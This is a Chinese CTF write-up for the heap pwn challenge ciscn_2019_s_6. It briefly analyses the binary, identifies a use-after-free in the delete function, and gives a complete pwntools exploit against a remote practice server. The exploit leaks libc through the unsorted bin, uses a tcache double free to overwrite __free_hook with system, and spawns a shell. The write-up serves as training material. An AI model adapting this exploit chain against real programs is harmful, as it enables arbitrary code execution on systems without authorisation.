• ciscn_2019_s_6


    安全检查

     开了ASLR,不能够用puts泄露了

    流程分析

    add函数

    这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1

     show函数

    打印,没什么特别

     call函数

    其实就是delete函数

     漏洞分析

    • 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
    • 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
    from pwn import *
    
    #p=process('./ciscn_s_6')
    p=remote('node3.buuoj.cn',26462)
    elf=ELF('./ciscn_s_6')
    libc=ELF('./libc-2.27.so')
    def add(size,name,call):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('name')
        p.sendline(str(size))
        p.recvuntil('name:')
        p.sendline(name)
        p.recvuntil('call:')
        p.sendline(call)
    
    def show(idx):
        p.recvuntil('choice:')
        p.sendline('2')
        p.recvuntil('index:')
        p.sendline(str(idx))
        
    def delete(idx):
        p.recvuntil('choice:')
        p.sendline('3')
        p.recvuntil('index:')
        p.sendline(str(idx))
    
    
    
    add(0x88,'pppp','pppp')
    add(0x20,'pppp','pppp')
    add(0x20,'pppp','pppp')
    for i in range(7):
        delete(0)
    
    delete(0)
    show(0)
    p.recvuntil('name')
    unsorted_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(unsorted_addr)
    libc_base=unsorted_addr-0x3ebca0
    free_addr=libc.symbols['__free_hook']+libc_base
    system_addr = libc_base + libc.symbols['system']
    
    print hex(free_addr)
    #p.recvuntil()
    delete(1)
    delete(1)
    delete(1)
    
    add(0x20,p64(free_addr),'pppp')
    add(0x20,'pppp','pppp')
    add(0x20,p64(system_addr),'pppp')
    add(0x20,'/bin/sh','pppp')
    
    delete(6)
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    AutoCAD LISP矩形窗格绘制
    AutoCAD VBA多重延伸
    2011年3月24日星期四
    AutoCAD VBA对齐对象
    AutoCAD VBA根据对象缩放
    AutoCAD LISP绘制多个等半径圆相切
    AutoCAD LISP利用一顶点和三边长绘制三角形
    AutoCAD VBA对象的组合和拆散
    AutoCAD LISP修改已存在圆半径
    AutoCAD VBA基于对象的分层
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13996874.html
Copyright © 2020-2023  润新知